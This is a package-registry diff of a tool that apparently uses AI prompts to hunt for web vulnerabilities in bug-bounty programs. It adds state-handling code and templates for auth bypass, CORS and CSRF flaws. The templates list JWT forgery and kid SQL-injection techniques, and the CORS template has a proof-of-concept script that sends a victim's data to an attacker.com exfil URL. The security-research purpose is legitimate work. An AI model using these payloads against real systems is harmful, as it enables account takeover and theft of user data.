tryassay 0.31.0 → 0.33.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (165) hide show
  1. package/dist/cli.js +55 -0
  2. package/dist/cli.js.map +1 -1
  3. package/dist/commands/assess.js +73 -0
  4. package/dist/commands/assess.js.map +1 -1
  5. package/dist/commands/bounty-chain.d.ts +1 -0
  6. package/dist/commands/bounty-chain.js +34 -0
  7. package/dist/commands/bounty-chain.js.map +1 -0
  8. package/dist/commands/bounty-check.d.ts +10 -0
  9. package/dist/commands/bounty-check.js +104 -0
  10. package/dist/commands/bounty-check.js.map +1 -0
  11. package/dist/commands/bounty-discover.d.ts +6 -0
  12. package/dist/commands/bounty-discover.js +45 -0
  13. package/dist/commands/bounty-discover.js.map +1 -0
  14. package/dist/commands/bounty-scan.d.ts +7 -0
  15. package/dist/commands/bounty-scan.js +312 -0
  16. package/dist/commands/bounty-scan.js.map +1 -0
  17. package/dist/commands/bounty-watch.d.ts +9 -0
  18. package/dist/commands/bounty-watch.js +210 -0
  19. package/dist/commands/bounty-watch.js.map +1 -0
  20. package/dist/commands/hunt.d.ts +11 -0
  21. package/dist/commands/hunt.js +216 -0
  22. package/dist/commands/hunt.js.map +1 -0
  23. package/dist/hunt/__tests__/deep-dive.test.d.ts +1 -0
  24. package/dist/hunt/__tests__/deep-dive.test.js +102 -0
  25. package/dist/hunt/__tests__/deep-dive.test.js.map +1 -0
  26. package/dist/hunt/__tests__/discovery.test.d.ts +1 -0
  27. package/dist/hunt/__tests__/discovery.test.js +55 -0
  28. package/dist/hunt/__tests__/discovery.test.js.map +1 -0
  29. package/dist/hunt/__tests__/e2e.test.d.ts +1 -0
  30. package/dist/hunt/__tests__/e2e.test.js +261 -0
  31. package/dist/hunt/__tests__/e2e.test.js.map +1 -0
  32. package/dist/hunt/__tests__/matcher.test.d.ts +1 -0
  33. package/dist/hunt/__tests__/matcher.test.js +63 -0
  34. package/dist/hunt/__tests__/matcher.test.js.map +1 -0
  35. package/dist/hunt/__tests__/orchestrator.test.d.ts +1 -0
  36. package/dist/hunt/__tests__/orchestrator.test.js +73 -0
  37. package/dist/hunt/__tests__/orchestrator.test.js.map +1 -0
  38. package/dist/hunt/__tests__/parse-utils.test.d.ts +1 -0
  39. package/dist/hunt/__tests__/parse-utils.test.js +28 -0
  40. package/dist/hunt/__tests__/parse-utils.test.js.map +1 -0
  41. package/dist/hunt/__tests__/state.test.d.ts +1 -0
  42. package/dist/hunt/__tests__/state.test.js +49 -0
  43. package/dist/hunt/__tests__/state.test.js.map +1 -0
  44. package/dist/hunt/__tests__/templates.test.d.ts +1 -0
  45. package/dist/hunt/__tests__/templates.test.js +32 -0
  46. package/dist/hunt/__tests__/templates.test.js.map +1 -0
  47. package/dist/hunt/__tests__/triage.test.d.ts +1 -0
  48. package/dist/hunt/__tests__/triage.test.js +91 -0
  49. package/dist/hunt/__tests__/triage.test.js.map +1 -0
  50. package/dist/hunt/__tests__/types.test.d.ts +1 -0
  51. package/dist/hunt/__tests__/types.test.js +65 -0
  52. package/dist/hunt/__tests__/types.test.js.map +1 -0
  53. package/dist/hunt/deep-dive.d.ts +8 -0
  54. package/dist/hunt/deep-dive.js +86 -0
  55. package/dist/hunt/deep-dive.js.map +1 -0
  56. package/dist/hunt/discovery.d.ts +15 -0
  57. package/dist/hunt/discovery.js +116 -0
  58. package/dist/hunt/discovery.js.map +1 -0
  59. package/dist/hunt/matcher.d.ts +8 -0
  60. package/dist/hunt/matcher.js +27 -0
  61. package/dist/hunt/matcher.js.map +1 -0
  62. package/dist/hunt/orchestrator.d.ts +27 -0
  63. package/dist/hunt/orchestrator.js +91 -0
  64. package/dist/hunt/orchestrator.js.map +1 -0
  65. package/dist/hunt/parse-utils.d.ts +2 -0
  66. package/dist/hunt/parse-utils.js +17 -0
  67. package/dist/hunt/parse-utils.js.map +1 -0
  68. package/dist/hunt/state.d.ts +5 -0
  69. package/dist/hunt/state.js +35 -0
  70. package/dist/hunt/state.js.map +1 -0
  71. package/dist/hunt/templates/auth-bypass.d.ts +2 -0
  72. package/dist/hunt/templates/auth-bypass.js +80 -0
  73. package/dist/hunt/templates/auth-bypass.js.map +1 -0
  74. package/dist/hunt/templates/cors-misconfig.d.ts +2 -0
  75. package/dist/hunt/templates/cors-misconfig.js +88 -0
  76. package/dist/hunt/templates/cors-misconfig.js.map +1 -0
  77. package/dist/hunt/templates/csrf-bypass.d.ts +2 -0
  78. package/dist/hunt/templates/csrf-bypass.js +65 -0
  79. package/dist/hunt/templates/csrf-bypass.js.map +1 -0
  80. package/dist/hunt/templates/index.d.ts +3 -0
  81. package/dist/hunt/templates/index.js +29 -0
  82. package/dist/hunt/templates/index.js.map +1 -0
  83. package/dist/hunt/templates/injection.d.ts +2 -0
  84. package/dist/hunt/templates/injection.js +103 -0
  85. package/dist/hunt/templates/injection.js.map +1 -0
  86. package/dist/hunt/templates/open-redirect.d.ts +2 -0
  87. package/dist/hunt/templates/open-redirect.js +93 -0
  88. package/dist/hunt/templates/open-redirect.js.map +1 -0
  89. package/dist/hunt/templates/path-traversal.d.ts +2 -0
  90. package/dist/hunt/templates/path-traversal.js +94 -0
  91. package/dist/hunt/templates/path-traversal.js.map +1 -0
  92. package/dist/hunt/templates/prototype-pollution.d.ts +2 -0
  93. package/dist/hunt/templates/prototype-pollution.js +108 -0
  94. package/dist/hunt/templates/prototype-pollution.js.map +1 -0
  95. package/dist/hunt/templates/ssrf.d.ts +2 -0
  96. package/dist/hunt/templates/ssrf.js +75 -0
  97. package/dist/hunt/templates/ssrf.js.map +1 -0
  98. package/dist/hunt/templates/timing-attack.d.ts +2 -0
  99. package/dist/hunt/templates/timing-attack.js +108 -0
  100. package/dist/hunt/templates/timing-attack.js.map +1 -0
  101. package/dist/hunt/templates/weak-random.d.ts +2 -0
  102. package/dist/hunt/templates/weak-random.js +73 -0
  103. package/dist/hunt/templates/weak-random.js.map +1 -0
  104. package/dist/hunt/triage.d.ts +8 -0
  105. package/dist/hunt/triage.js +78 -0
  106. package/dist/hunt/triage.js.map +1 -0
  107. package/dist/lib/__tests__/bounty-scan.test.d.ts +1 -0
  108. package/dist/lib/__tests__/bounty-scan.test.js +15 -0
  109. package/dist/lib/__tests__/bounty-scan.test.js.map +1 -0
  110. package/dist/lib/__tests__/chain-analyzer.test.d.ts +1 -0
  111. package/dist/lib/__tests__/chain-analyzer.test.js +47 -0
  112. package/dist/lib/__tests__/chain-analyzer.test.js.map +1 -0
  113. package/dist/lib/__tests__/change-classifier.test.d.ts +1 -0
  114. package/dist/lib/__tests__/change-classifier.test.js +55 -0
  115. package/dist/lib/__tests__/change-classifier.test.js.map +1 -0
  116. package/dist/lib/__tests__/finding-dedup.test.d.ts +1 -0
  117. package/dist/lib/__tests__/finding-dedup.test.js +30 -0
  118. package/dist/lib/__tests__/finding-dedup.test.js.map +1 -0
  119. package/dist/lib/__tests__/learned-rules.test.js +25 -0
  120. package/dist/lib/__tests__/learned-rules.test.js.map +1 -1
  121. package/dist/lib/__tests__/novelty-checker.test.d.ts +1 -0
  122. package/dist/lib/__tests__/novelty-checker.test.js +57 -0
  123. package/dist/lib/__tests__/novelty-checker.test.js.map +1 -0
  124. package/dist/lib/__tests__/program-registry.test.d.ts +1 -0
  125. package/dist/lib/__tests__/program-registry.test.js +40 -0
  126. package/dist/lib/__tests__/program-registry.test.js.map +1 -0
  127. package/dist/lib/__tests__/retry.test.d.ts +1 -0
  128. package/dist/lib/__tests__/retry.test.js +23 -0
  129. package/dist/lib/__tests__/retry.test.js.map +1 -0
  130. package/dist/lib/__tests__/watchlist.test.d.ts +1 -0
  131. package/dist/lib/__tests__/watchlist.test.js +88 -0
  132. package/dist/lib/__tests__/watchlist.test.js.map +1 -0
  133. package/dist/lib/chain-analyzer.d.ts +25 -0
  134. package/dist/lib/chain-analyzer.js +105 -0
  135. package/dist/lib/chain-analyzer.js.map +1 -0
  136. package/dist/lib/change-classifier.d.ts +3 -0
  137. package/dist/lib/change-classifier.js +97 -0
  138. package/dist/lib/change-classifier.js.map +1 -0
  139. package/dist/lib/finding-dedup.d.ts +2 -0
  140. package/dist/lib/finding-dedup.js +9 -0
  141. package/dist/lib/finding-dedup.js.map +1 -0
  142. package/dist/lib/issue-reporter.d.ts +13 -0
  143. package/dist/lib/issue-reporter.js +51 -0
  144. package/dist/lib/issue-reporter.js.map +1 -0
  145. package/dist/lib/novelty-checker.d.ts +60 -0
  146. package/dist/lib/novelty-checker.js +223 -0
  147. package/dist/lib/novelty-checker.js.map +1 -0
  148. package/dist/lib/program-registry.d.ts +12 -0
  149. package/dist/lib/program-registry.js +18 -0
  150. package/dist/lib/program-registry.js.map +1 -0
  151. package/dist/lib/retry.d.ts +5 -0
  152. package/dist/lib/retry.js +19 -0
  153. package/dist/lib/retry.js.map +1 -0
  154. package/dist/lib/watchlist.d.ts +23 -0
  155. package/dist/lib/watchlist.js +31 -0
  156. package/dist/lib/watchlist.js.map +1 -0
  157. package/dist/runtime/safe-executor.js +1 -1
  158. package/dist/runtime/safe-executor.js.map +1 -1
  159. package/dist/runtime/types.d.ts +1 -1
  160. package/dist/sdk/forward-verify.d.ts +2 -2
  161. package/dist/sdk/forward-verify.js +31 -2
  162. package/dist/sdk/forward-verify.js.map +1 -1
  163. package/dist/sdk/types.d.ts +8 -0
  164. package/dist/types.d.ts +45 -0
  165. package/package.json +1 -1
@@ -0,0 +1,35 @@
1
+ import { readFileSync, writeFileSync, mkdirSync, existsSync } from 'fs';
2
+ import { join } from 'path';
3
+ import { createHash } from 'crypto';
4
+ export function getStateDir(targetPath, baseDir) {
5
+ const hash = createHash('sha256').update(targetPath).digest('hex').slice(0, 12);
6
+ const base = baseDir || join(process.cwd(), '.assay', 'hunt');
7
+ return join(base, hash);
8
+ }
9
+ export function saveState(stateDir, state) {
10
+ mkdirSync(stateDir, { recursive: true });
11
+ writeFileSync(join(stateDir, 'state.json'), JSON.stringify(state, null, 2));
12
+ }
13
+ export function loadState(stateDir) {
14
+ const path = join(stateDir, 'state.json');
15
+ if (!existsSync(path))
16
+ return null;
17
+ try {
18
+ return JSON.parse(readFileSync(path, 'utf-8'));
19
+ }
20
+ catch {
21
+ return null;
22
+ }
23
+ }
24
+ export function checkStaleness(state, currentHashes) {
25
+ const staleFiles = [];
26
+ for (const h of state.hypotheses) {
27
+ const savedHash = state.fileHashes[h.file];
28
+ const currentHash = currentHashes[h.file];
29
+ if (savedHash && currentHash && savedHash !== currentHash) {
30
+ staleFiles.push(h.file);
31
+ }
32
+ }
33
+ return [...new Set(staleFiles)];
34
+ }
35
+ //# sourceMappingURL=state.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"state.js","sourceRoot":"","sources":["../../src/hunt/state.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,YAAY,EAAE,aAAa,EAAE,SAAS,EAAE,UAAU,EAAE,MAAM,IAAI,CAAC;AACxE,OAAO,EAAE,IAAI,EAAE,MAAM,MAAM,CAAC;AAC5B,OAAO,EAAE,UAAU,EAAE,MAAM,QAAQ,CAAC;AAGpC,MAAM,UAAU,WAAW,CAAC,UAAkB,EAAE,OAAgB;IAC9D,MAAM,IAAI,GAAG,UAAU,CAAC,QAAQ,CAAC,CAAC,MAAM,CAAC,UAAU,CAAC,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC,KAAK,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC;IAChF,MAAM,IAAI,GAAG,OAAO,IAAI,IAAI,CAAC,OAAO,CAAC,GAAG,EAAE,EAAE,QAAQ,EAAE,MAAM,CAAC,CAAC;IAC9D,OAAO,IAAI,CAAC,IAAI,EAAE,IAAI,CAAC,CAAC;AAC1B,CAAC;AAED,MAAM,UAAU,SAAS,CAAC,QAAgB,EAAE,KAAgB;IAC1D,SAAS,CAAC,QAAQ,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,CAAC,CAAC;IACzC,aAAa,CAAC,IAAI,CAAC,QAAQ,EAAE,YAAY,CAAC,EAAE,IAAI,CAAC,SAAS,CAAC,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC,CAAC;AAC9E,CAAC;AAED,MAAM,UAAU,SAAS,CAAC,QAAgB;IACxC,MAAM,IAAI,GAAG,IAAI,CAAC,QAAQ,EAAE,YAAY,CAAC,CAAC;IAC1C,IAAI,CAAC,UAAU,CAAC,IAAI,CAAC;QAAE,OAAO,IAAI,CAAC;IACnC,IAAI,CAAC;QACH,OAAO,IAAI,CAAC,KAAK,CAAC,YAAY,CAAC,IAAI,EAAE,OAAO,CAAC,CAAC,CAAC;IACjD,CAAC;IAAC,MAAM,CAAC;QACP,OAAO,IAAI,CAAC;IACd,CAAC;AACH,CAAC;AAED,MAAM,UAAU,cAAc,CAC5B,KAAgB,EAChB,aAAqC;IAErC,MAAM,UAAU,GAAa,EAAE,CAAC;IAChC,KAAK,MAAM,CAAC,IAAI,KAAK,CAAC,UAAU,EAAE,CAAC;QACjC,MAAM,SAAS,GAAG,KAAK,CAAC,UAAU,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;QAC3C,MAAM,WAAW,GAAG,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;QAC1C,IAAI,SAAS,IAAI,WAAW,IAAI,SAAS,KAAK,WAAW,EAAE,CAAC;YAC1D,UAAU,CAAC,IAAI,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC;QAC1B,CAAC;IACH,CAAC;IACD,OAAO,CAAC,GAAG,IAAI,GAAG,CAAC,UAAU,CAAC,CAAC,CAAC;AAClC,CAAC"}
@@ -0,0 +1,2 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare const authBypass: VulnerabilityTemplate;
@@ -0,0 +1,80 @@
1
+ export const authBypass = {
2
+ id: 'auth-bypass',
3
+ name: 'Authentication Bypass',
4
+ cwe: 'CWE-287',
5
+ filePatterns: ['auth', 'login', 'session', 'middleware', 'guard', 'protect', 'jwt', 'bearer'],
6
+ triagePrompt: `You are a security researcher hunting for authentication bypass vulnerabilities.
7
+
8
+ Analyze the code for flaws that allow requests to bypass authentication or authorization checks. Focus on:
9
+ 1. Middleware ordering — is the auth middleware applied BEFORE route handlers, or only on some routes?
10
+ 2. Route coverage — are all sensitive routes protected, or are some accidentally excluded?
11
+ 3. JWT algorithm confusion — does the verifier explicitly reject 'alg: none'? Does it accept HS256 when RS256 is expected?
12
+ 4. JWT secret strength — is the HMAC secret weak, hardcoded, or derived from a predictable value?
13
+ 5. Role checks timing — is authorization checked before or after sensitive data is fetched/returned?
14
+ 6. Session fixation — can an attacker force a session ID before authentication, then reuse it after?
15
+
16
+ KNOWN BYPASS TECHNIQUES:
17
+ - alg:none attack: modify JWT header to {"alg":"none"}, strip signature, server accepts as valid
18
+ - RS256→HS256 confusion: server uses public key as HMAC secret when verifier accepts both; attacker signs with public key via HS256
19
+ - JWT kid injection: if kid header is used to look up a key via DB/file, inject SQL/path traversal
20
+ - Expired token acceptance: does the server check exp claim? Is clock skew too generous?
21
+ - Missing auth on wildcard routes: /api/admin/* protected but /api/admin/export not in the list
22
+ - Parallel request race: check-then-act window where two threads both pass the check simultaneously
23
+
24
+ AUTH FRAMEWORK PITFALLS:
25
+ - Express: app.use(auth) after app.use('/route', handler) means handler runs without auth
26
+ - Next.js middleware: matchers with negative lookahead may have edge cases
27
+ - Koa: ctx.state.user set but not checked in downstream middleware that fetches data
28
+
29
+ RELEVANT SPECIFICATIONS:
30
+ - RFC 7519 Section 7.2: JWT validation steps (algorithm, signature, exp, nbf, iss, aud)
31
+ - RFC 7518 Section 3.6: Unsecured JWTs — 'none' algorithm MUST be explicitly rejected in security contexts`,
32
+ deepDivePrompt: `You are an expert security researcher writing a bug bounty report for an authentication bypass vulnerability.
33
+
34
+ Given the hypothesis below, verify whether the vulnerability is real and exploitable.
35
+
36
+ Build a complete attack scenario:
37
+ 1. Which route or endpoint is accessible without authentication?
38
+ 2. What data or action does it expose?
39
+ 3. What request does the attacker send? (Include headers, method, body)
40
+ 4. Provide a concrete curl command as proof-of-concept.
41
+ 5. What is the worst-case impact? (Data exfiltration, privilege escalation, account takeover?)
42
+
43
+ JWT-SPECIFIC ATTACK PROCEDURES:
44
+ - alg:none: base64url-decode header, change alg to "none", re-encode, use payload.header.. (empty signature)
45
+ - RS256→HS256: grab public key from JWKS endpoint (/jwks.json or /.well-known/jwks.json), sign JWT with it as HMAC-SHA256 secret, set alg:HS256
46
+ - Weak secret brute-force: extract JWT, run hashcat mode 16500 against common wordlists
47
+ - kid SQL injection: if kid is used in SELECT key FROM keys WHERE id = <kid>, try kid = ' OR '1'='1
48
+
49
+ ROLE ESCALATION AFTER AUTH BYPASS:
50
+ - Check if user object in JWT or session contains a role field that can be manipulated
51
+ - Look for privilege checks that compare string roles without canonicalization ('Admin' vs 'admin')
52
+ - Horizontal privilege escalation: auth passes but resource ownership is not verified
53
+
54
+ EVIDENCE TO INCLUDE:
55
+ - The exact JWT or request that bypasses the check
56
+ - Server response confirming access to protected resource
57
+ - The specific code lines where the check is missing or bypassable
58
+
59
+ RELEVANT SPECIFICATIONS:
60
+ - RFC 7519 Section 7.2: Mandatory JWT validation algorithm — must reject unsupported alg values
61
+ - RFC 7519 Section 4.1.4: exp (Expiration Time) claim validation`,
62
+ knownBypasses: [
63
+ 'JWT alg:none — strip signature, set algorithm to none',
64
+ 'RS256→HS256 confusion — sign with public key as HMAC secret',
65
+ 'JWT kid header SQL/path injection',
66
+ 'Missing auth middleware on specific routes (wildcard gap)',
67
+ 'Role check after data fetch (authorization logic inversion)',
68
+ 'Session fixation — force session ID before login',
69
+ 'Expired JWT acceptance (missing exp validation)',
70
+ 'Weak HMAC secret (brute-forceable with hashcat)',
71
+ ],
72
+ specReferences: [
73
+ 'RFC 7519 (JSON Web Token)',
74
+ 'RFC 7519 Section 7.2 (JWT Validation)',
75
+ 'RFC 7518 Section 3.6 (Unsecured JWTs)',
76
+ 'OWASP Authentication Cheat Sheet',
77
+ ],
78
+ severityRange: ['high', 'critical'],
79
+ };
80
+ //# sourceMappingURL=auth-bypass.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"auth-bypass.js","sourceRoot":"","sources":["../../../src/hunt/templates/auth-bypass.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,UAAU,GAA0B;IAC/C,EAAE,EAAE,aAAa;IACjB,IAAI,EAAE,uBAAuB;IAC7B,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,MAAM,EAAE,OAAO,EAAE,SAAS,EAAE,YAAY,EAAE,OAAO,EAAE,SAAS,EAAE,KAAK,EAAE,QAAQ,CAAC;IAC7F,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;2GAyB2F;IAEzG,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;iEA6B+C;IAE/D,aAAa,EAAE;QACb,uDAAuD;QACvD,6DAA6D;QAC7D,mCAAmC;QACnC,2DAA2D;QAC3D,6DAA6D;QAC7D,kDAAkD;QAClD,iDAAiD;QACjD,iDAAiD;KAClD;IACD,cAAc,EAAE;QACd,2BAA2B;QAC3B,uCAAuC;QACvC,uCAAuC;QACvC,kCAAkC;KACnC;IACD,aAAa,EAAE,CAAC,MAAM,EAAE,UAAU,CAAC;CACpC,CAAC"}
@@ -0,0 +1,2 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare const corsMisconfig: VulnerabilityTemplate;
@@ -0,0 +1,88 @@
1
+ export const corsMisconfig = {
2
+ id: 'cors-misconfig',
3
+ name: 'CORS Misconfiguration',
4
+ cwe: 'CWE-942',
5
+ filePatterns: ['cors', 'origin', 'access-control', 'allow-origin', 'credentials'],
6
+ triagePrompt: `You are a security researcher hunting for CORS misconfiguration vulnerabilities.
7
+
8
+ Analyze the code for flaws in Cross-Origin Resource Sharing policy configuration. Focus on:
9
+ 1. Origin reflection — does the server echo back the request's Origin header without validation?
10
+ 2. Wildcard with credentials — does the server send Access-Control-Allow-Origin: * combined with Access-Control-Allow-Credentials: true? (browsers block this, but some clients don't)
11
+ 3. Null origin acceptance — does the server allowlist the 'null' origin? (set by sandboxed iframes, data URIs, local files)
12
+ 4. Regex bypass — is the origin validated by a regex that can be tricked? (e.g., /example\.com$/ matches evilexample.com)
13
+ 5. Subdomain wildcard — does *.example.com unconditionally trust ALL subdomains including user-controlled ones?
14
+ 6. Pre-flight vs actual request mismatch — are credentials checked on preflight but not on the actual request?
15
+
16
+ KNOWN BYPASS TECHNIQUES:
17
+ - Regex suffix match: if check is origin.endsWith('example.com'), attacker registers evilexample.com
18
+ - Null origin: <iframe sandbox="allow-scripts" srcdoc="..."> sends Origin: null — accepted if server allowlists null
19
+ - Subdomain reflection with subdomain takeover: sub.example.com is claimable on GitHub Pages/S3 → full CORS trust
20
+ - HTTP downgrade: HTTPS API reflects origin from HTTP version of attacker's domain
21
+ - Origin with port: if only example.com is validated, attacker controls example.com:8080
22
+ - Post-message relay: exploit trusted third-party that accepts all origins and relays to victim API
23
+
24
+ WHAT TO LOOK FOR IN CODE:
25
+ - req.headers.origin passed directly to res.setHeader('Access-Control-Allow-Origin', ...)
26
+ - allowedOrigins.includes(origin) without normalization (case, trailing slash, port)
27
+ - cors({ origin: true }) — reflects everything — in express/cors package
28
+ - Manual regex like /https?:\/\/(.+\.)?example\.com/ — check for anchoring
29
+
30
+ RELEVANT SPECIFICATIONS:
31
+ - Fetch Standard Section 3.2: CORS protocol definition
32
+ - Fetch Standard Section 3.2.5: Cannot combine * with credentials`,
33
+ deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a CORS misconfiguration.
34
+
35
+ Given the hypothesis below, verify whether the vulnerability is real and exploitable.
36
+
37
+ Build a complete attack scenario:
38
+ 1. What origin does the attacker control or spoof?
39
+ 2. What does the server respond with in Access-Control-Allow-Origin and Access-Control-Allow-Credentials?
40
+ 3. What sensitive API endpoint does the attacker's page call?
41
+ 4. What data can be read cross-origin? (credentials, tokens, PII)
42
+ 5. Provide a concrete HTML/JavaScript proof-of-concept page.
43
+
44
+ PROOF-OF-CONCEPT TEMPLATE:
45
+ \`\`\`html
46
+ <script>
47
+ fetch('https://target.com/api/user', {
48
+ credentials: 'include',
49
+ headers: { 'Origin': 'https://attacker.com' }
50
+ })
51
+ .then(r => r.json())
52
+ .then(data => {
53
+ // exfiltrate to attacker server
54
+ fetch('https://attacker.com/exfil?data=' + JSON.stringify(data));
55
+ });
56
+ </script>
57
+ \`\`\`
58
+
59
+ EXPLOITABILITY MATRIX:
60
+ - Origin reflected + credentials: true → Full cross-origin authenticated reads → CRITICAL
61
+ - Null origin accepted + credentials: true → Exploitable via sandboxed iframe → HIGH
62
+ - Subdomain reflection + claimable subdomain → MEDIUM-HIGH (requires additional step)
63
+ - Wildcard (*) + no credentials → Low impact (no authenticated reads possible in browser)
64
+
65
+ WHAT TO VERIFY:
66
+ - Send the request with the crafted origin and confirm the response header
67
+ - Check if Access-Control-Allow-Credentials: true appears
68
+ - Confirm the API returns sensitive data on authenticated requests
69
+ - Test whether cookies are sent (check for Set-Cookie on auth endpoint)
70
+
71
+ RELEVANT SPECIFICATIONS:
72
+ - Fetch Standard Section 3.2.5: Access-Control-Allow-Origin wildcard + credentials is forbidden
73
+ - Fetch Standard Section 3.2.3: CORS preflight and its limitations`,
74
+ knownBypasses: [
75
+ 'Origin reflection — server echoes request Origin without validation',
76
+ 'Null origin acceptance (sandboxed iframes, data URIs)',
77
+ 'Regex suffix bypass: evilexample.com matches /example\\.com$/',
78
+ 'Subdomain reflection with subdomain takeover',
79
+ 'Wildcard with credentials (Access-Control-Allow-Origin: *)',
80
+ 'Port variation: example.com:8080 if only example.com validated',
81
+ ],
82
+ specReferences: [
83
+ 'Fetch Standard Section 3.2 (CORS protocol)',
84
+ 'Fetch Standard Section 3.2.5 (Credentials + wildcard forbidden)',
85
+ ],
86
+ severityRange: ['medium', 'high'],
87
+ };
88
+ //# sourceMappingURL=cors-misconfig.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"cors-misconfig.js","sourceRoot":"","sources":["../../../src/hunt/templates/cors-misconfig.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,aAAa,GAA0B;IAClD,EAAE,EAAE,gBAAgB;IACpB,IAAI,EAAE,uBAAuB;IAC7B,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,MAAM,EAAE,QAAQ,EAAE,gBAAgB,EAAE,cAAc,EAAE,aAAa,CAAC;IACjF,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;kEA0BkD;IAEhE,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;mEAwCiD;IAEjE,aAAa,EAAE;QACb,qEAAqE;QACrE,uDAAuD;QACvD,+DAA+D;QAC/D,8CAA8C;QAC9C,4DAA4D;QAC5D,gEAAgE;KACjE;IACD,cAAc,EAAE;QACd,4CAA4C;QAC5C,iEAAiE;KAClE;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,MAAM,CAAC;CAClC,CAAC"}
@@ -0,0 +1,2 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare const csrfBypass: VulnerabilityTemplate;
@@ -0,0 +1,65 @@
1
+ export const csrfBypass = {
2
+ id: 'csrf-bypass',
3
+ name: 'CSRF Bypass',
4
+ cwe: 'CWE-352',
5
+ filePatterns: ['csrf', 'origin', 'referer', 'same-site', 'cross-site'],
6
+ negativePatterns: [],
7
+ triagePrompt: `You are a security researcher hunting for CSRF bypass vulnerabilities.
8
+
9
+ Analyze the code for flaws in cross-site request forgery protection. Focus on:
10
+ 1. Origin/Referer header validation — is it strict or bypassable?
11
+ 2. Wildcard domain matching — does *.example.com also match *.com?
12
+ 3. Token generation — is the CSRF token cryptographically random?
13
+ 4. Token validation — is comparison timing-safe? Is the token actually checked?
14
+ 5. SameSite cookie attribute — is it set correctly? Can it be bypassed?
15
+
16
+ KNOWN BYPASS TECHNIQUES:
17
+ - TLD-level wildcards: *.com matches evil.com if label count isn't checked
18
+ - Null origin: some validators accept Origin: null (sandboxed iframes)
19
+ - Subdomain takeover: if *.example.com is allowed and sub.example.com is claimable
20
+ - Method override: POST protection bypassed via _method=GET parameter
21
+ - Content-type trick: application/x-www-form-urlencoded bypasses JSON CSRF checks
22
+ - Flash/PDF origin spoofing (legacy browsers)
23
+
24
+ RELEVANT SPECIFICATIONS:
25
+ - RFC 6454 (The Web Origin Concept): Origin header format and comparison rules
26
+ - Fetch Standard Section 3.2: CORS-safelisted request requirements
27
+ - SameSite cookies (RFC 6265bis): Lax vs Strict vs None semantics`,
28
+ deepDivePrompt: `You are an expert security researcher writing a bug bounty report for a CSRF bypass.
29
+
30
+ Given the hypothesis below, verify whether the vulnerability is real and exploitable.
31
+
32
+ Build a complete attack scenario:
33
+ 1. What origin/request can the attacker craft?
34
+ 2. What server-side check does it bypass?
35
+ 3. What action can the attacker force the victim to perform?
36
+ 4. Provide a concrete curl command or HTML form as proof-of-concept.
37
+
38
+ Be specific about WHY the bypass works — cite the exact code path and the spec violation.
39
+
40
+ KNOWN BYPASS TECHNIQUES:
41
+ - TLD-level wildcards: *.com matches evil.com if label count isn't checked
42
+ - Null origin: some validators accept Origin: null
43
+ - Subdomain takeover: claimable subdomains under allowed wildcards
44
+ - Method override: _method parameter bypasses POST-only CSRF checks
45
+ - Content-type bypass: form-urlencoded avoids JSON content-type CSRF checks
46
+
47
+ RELEVANT SPECIFICATIONS:
48
+ - RFC 6454 Section 5: Comparing Origins (scheme + host + port must all match)
49
+ - RFC 6265bis Section 5.3.7: SameSite attribute processing`,
50
+ knownBypasses: [
51
+ 'TLD-level wildcard (*.com matches evil.com)',
52
+ 'Null origin via sandboxed iframe',
53
+ 'Subdomain takeover under allowed wildcard',
54
+ 'HTTP method override (_method parameter)',
55
+ 'Content-type trick (form vs JSON)',
56
+ 'Missing token validation on specific endpoints',
57
+ ],
58
+ specReferences: [
59
+ 'RFC 6454 (Web Origin Concept)',
60
+ 'RFC 6265bis (SameSite cookies)',
61
+ 'Fetch Standard Section 3.2',
62
+ ],
63
+ severityRange: ['medium', 'critical'],
64
+ };
65
+ //# sourceMappingURL=csrf-bypass.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"csrf-bypass.js","sourceRoot":"","sources":["../../../src/hunt/templates/csrf-bypass.ts"],"names":[],"mappings":"AAEA,MAAM,CAAC,MAAM,UAAU,GAA0B;IAC/C,EAAE,EAAE,aAAa;IACjB,IAAI,EAAE,aAAa;IACnB,GAAG,EAAE,SAAS;IACd,YAAY,EAAE,CAAC,MAAM,EAAE,QAAQ,EAAE,SAAS,EAAE,WAAW,EAAE,YAAY,CAAC;IACtE,gBAAgB,EAAE,EAAE;IACpB,YAAY,EAAE;;;;;;;;;;;;;;;;;;;;kEAoBkD;IAEhE,cAAc,EAAE;;;;;;;;;;;;;;;;;;;;;2DAqByC;IAEzD,aAAa,EAAE;QACb,6CAA6C;QAC7C,kCAAkC;QAClC,2CAA2C;QAC3C,0CAA0C;QAC1C,mCAAmC;QACnC,gDAAgD;KACjD;IACD,cAAc,EAAE;QACd,+BAA+B;QAC/B,gCAAgC;QAChC,4BAA4B;KAC7B;IACD,aAAa,EAAE,CAAC,QAAQ,EAAE,UAAU,CAAC;CACtC,CAAC"}
@@ -0,0 +1,3 @@
1
+ import type { VulnerabilityTemplate } from '../../types.js';
2
+ export declare function getAllTemplates(): VulnerabilityTemplate[];
3
+ export declare function getTemplateById(id: string): VulnerabilityTemplate | undefined;
